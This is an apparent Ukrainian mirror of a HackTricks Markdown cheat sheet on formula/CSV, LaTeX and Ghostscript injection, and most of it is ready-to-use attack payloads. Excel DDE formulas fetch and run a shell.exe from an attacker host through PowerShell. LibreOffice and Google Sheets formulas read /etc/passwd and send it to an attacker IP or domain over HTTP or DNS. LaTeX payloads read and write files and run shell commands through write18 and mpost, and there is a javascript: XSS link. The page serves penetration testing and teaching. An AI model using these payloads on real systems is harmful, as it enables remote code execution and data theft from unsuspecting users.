mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
180 lines
13 KiB
Markdown
180 lines
13 KiB
Markdown
# Formula/CSV/Doc/LaTeX/GhostScript Injection
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Formula Injection
|
||
|
||
### Info
|
||
|
||
Якщо ваш **вхід** відображається всередині **CSV файлів** (або будь-якого іншого файлу, який, ймовірно, буде відкритий в **Excel**), ви, можливо, зможете вставити **формули** Excel, які будуть **виконані**, коли користувач **відкриває файл** або коли користувач **натискає на деяке посилання** всередині таблиці Excel.
|
||
|
||
> [!CAUTION]
|
||
> Сьогодні **Excel попереджає** (кілька разів) **користувача, коли щось завантажується ззовні Excel**, щоб запобігти йому від злочинних дій. Тому необхідно докласти спеціальних зусиль у соціальній інженерії для фінального вантажу.
|
||
|
||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||
```
|
||
DDE ("cmd";"/C calc";"!A0")A0
|
||
@SUM(1+9)*cmd|' /C calc'!A0
|
||
=10+20+cmd|' /C calc'!A0
|
||
=cmd|' /C notepad'!'A1'
|
||
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
||
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
||
```
|
||
### Hyperlink
|
||
|
||
**Наступний приклад дуже корисний для ексфільтрації вмісту з фінальної таблиці Excel та для виконання запитів до довільних місць. Але це вимагає, щоб користувач натиснув на посилання (і прийняв попередження).**
|
||
|
||
Наступний приклад був взятий з [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||
|
||
Уявіть, що у системі управління записами студентів сталася витік безпеки, який було використано через атаку CSV-ін'єкції. Основна мета зловмисника - скомпрометувати систему, яку використовують вчителі для управління даними студентів. Метод полягає в тому, що зловмисник вводить шкідливий код у додаток, зокрема, вводячи шкідливі формули у поля, призначені для даних студентів. Атака розгортається наступним чином:
|
||
|
||
1. **Ін'єкція шкідливого коду:**
|
||
- Зловмисник подає форму даних студента, але включає формулу, яка зазвичай використовується в електронних таблицях (наприклад, `=HYPERLINK("<malicious_link>","Click here")`).
|
||
- Ця формула призначена для створення гіперпосилання, але вона вказує на шкідливий сервер, контрольований зловмисником.
|
||
2. **Експорт скомпрометованих даних:**
|
||
- Вчителі, не підозрюючи про компрометацію, використовують функціональність програми для експорту даних у CSV-файл.
|
||
- CSV-файл, при відкритті, все ще містить шкідливий код. Цей код з'являється як клікабельне гіперпосилання в електронній таблиці.
|
||
3. **Активація атаки:**
|
||
- Вчитель натискає на гіперпосилання, вважаючи його легітимною частиною даних студента.
|
||
- Після натискання чутливі дані (можливо, включаючи деталі з електронної таблиці або комп'ютера вчителя) передаються на сервер зловмисника.
|
||
4. **Логування даних:**
|
||
- Сервер зловмисника отримує та реєструє чутливі дані, надіслані з комп'ютера вчителя.
|
||
- Зловмисник може використовувати ці дані для різних шкідливих цілей, ще більше компрометуючи конфіденційність і безпеку студентів та установи.
|
||
|
||
### RCE
|
||
|
||
**Перевірте** [**оригінальний пост**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **для отримання додаткових деталей.**
|
||
|
||
У певних конфігураціях або старіших версіях Excel функція, званий Динамічний обмін даними (DDE), може бути використана для виконання довільних команд. Щоб скористатися цим, необхідно активувати наступні налаштування:
|
||
|
||
- Перейдіть до Файл → Параметри → Центр управління безпекою → Налаштування Центру управління безпекою → Зовнішній вміст і активуйте **Запуск сервера динамічного обміну даними**.
|
||
|
||
Коли електронна таблиця з шкідливим кодом відкривається (і якщо користувач приймає попередження), код виконується. Наприклад, щоб запустити програму калькулятора, код буде:
|
||
```markdown
|
||
=cmd|' /C calc'!xxx
|
||
```
|
||
Додаткові команди також можуть бути виконані, такі як завантаження та виконання файлу за допомогою PowerShell:
|
||
```bash
|
||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||
```
|
||
### Local File Inclusion (LFI) in LibreOffice Calc
|
||
|
||
LibreOffice Calc може бути використаний для читання локальних файлів та ексфільтрації даних. Ось кілька методів:
|
||
|
||
- Читання першого рядка з локального файлу `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
|
||
- Ексфільтрація прочитаних даних на сервер, контрольований зловмисником: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||
- Ексфільтрація більше ніж одного рядка: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||
- DNS ексфільтрація (відправка прочитаних даних як DNS запити на сервер DNS, контрольований зловмисником): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||
|
||
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
|
||
|
||
Google Sheets пропонує функції, які можуть бути використані для OOB ексфільтрації даних:
|
||
|
||
- **CONCATENATE**: Додає рядки разом - `=CONCATENATE(A2:E2)`
|
||
- **IMPORTXML**: Імпортує дані з структурованих типів даних - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||
- **IMPORTFEED**: Імпортує RSS або ATOM фіди - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||
- **IMPORTHTML**: Імпортує дані з HTML таблиць або списків - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||
- **IMPORTRANGE**: Імпортує діапазон клітинок з іншої таблиці - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||
- **IMAGE**: Вставляє зображення в клітинку - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||
|
||
## LaTeX Injection
|
||
|
||
Зазвичай сервери, які можна знайти в інтернеті, що **перетворюють LaTeX код на PDF**, використовують **`pdflatex`**.\
|
||
Ця програма використовує 3 основні атрибути для (не)дозволу виконання команд:
|
||
|
||
- **`--no-shell-escape`**: **Вимкнути** конструкцію `\write18{command}`, навіть якщо вона увімкнена у файлі texmf.cnf.
|
||
- **`--shell-restricted`**: Те ж саме, що і `--shell-escape`, але **обмежено** 'безпечним' набором **попередньо визначених** **команд** (**На Ubuntu 16.04 список знаходиться у `/usr/share/texmf/web2c/texmf.cnf`).
|
||
- **`--shell-escape`**: **Увімкнути** конструкцію `\write18{command}`. Команда може бути будь-якою командою оболонки. Ця конструкція зазвичай заборонена з міркувань безпеки.
|
||
|
||
Однак є й інші способи виконання команд, тому, щоб уникнути RCE, дуже важливо використовувати `--shell-restricted`.
|
||
|
||
### Read file <a href="#read-file" id="read-file"></a>
|
||
|
||
Вам може знадобитися налаштувати ін'єкцію з обгортками, такими як \[ або $.
|
||
```bash
|
||
\input{/etc/passwd}
|
||
\include{password} # load .tex file
|
||
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
|
||
\usepackage{verbatim}
|
||
\verbatiminput{/etc/passwd}
|
||
```
|
||
#### Прочитати файл з одного рядка
|
||
```bash
|
||
\newread\file
|
||
\openin\file=/etc/issue
|
||
\read\file to\line
|
||
\text{\line}
|
||
\closein\file
|
||
```
|
||
#### Читання файлу з кількома рядками
|
||
```bash
|
||
\newread\file
|
||
\openin\file=/etc/passwd
|
||
\loop\unless\ifeof\file
|
||
\read\file to\fileline
|
||
\text{\fileline}
|
||
\repeat
|
||
\closein\file
|
||
```
|
||
### Написати файл <a href="#write-file" id="write-file"></a>
|
||
```bash
|
||
\newwrite\outfile
|
||
\openout\outfile=cmd.tex
|
||
\write\outfile{Hello-world}
|
||
\closeout\outfile
|
||
```
|
||
### Виконання команд <a href="#command-execution" id="command-execution"></a>
|
||
|
||
Вхідні дані команди будуть перенаправлені до stdin, використовуйте тимчасовий файл для їх отримання.
|
||
```bash
|
||
\immediate\write18{env > output}
|
||
\input{output}
|
||
|
||
\input{|"/bin/hostname"}
|
||
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
|
||
|
||
# allowed mpost command RCE
|
||
\documentclass{article}\begin{document}
|
||
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
|
||
\end{document}
|
||
|
||
# If mpost is not allowed there are other commands you might be able to execute
|
||
## Just get the version
|
||
\input{|"bibtex8 --version > /tmp/b.tex"}
|
||
## Search the file pdfetex.ini
|
||
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
|
||
## Get env var value
|
||
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
|
||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||
```
|
||
Якщо ви отримаєте будь-яку помилку LaTex, розгляньте можливість використання base64, щоб отримати результат без поганих символів.
|
||
```bash
|
||
\immediate\write18{env | base64 > test.tex}
|
||
\input{text.tex}
|
||
```
|
||
|
||
```bash
|
||
\input|ls|base4
|
||
\input{|"/bin/hostname"}
|
||
```
|
||
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||
|
||
Від [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||
```bash
|
||
\url{javascript:alert(1)}
|
||
\href{javascript:alert(1)}{placeholder}
|
||
```
|
||
## Ghostscript Injection
|
||
|
||
**Перевірте** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||
|
||
## References
|
||
|
||
- [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
|
||
- [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
|
||
- [https://salmonsec.com/cheatsheet/latex_injection](https://salmonsec.com/cheatsheet/latex_injection)
|
||
- [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|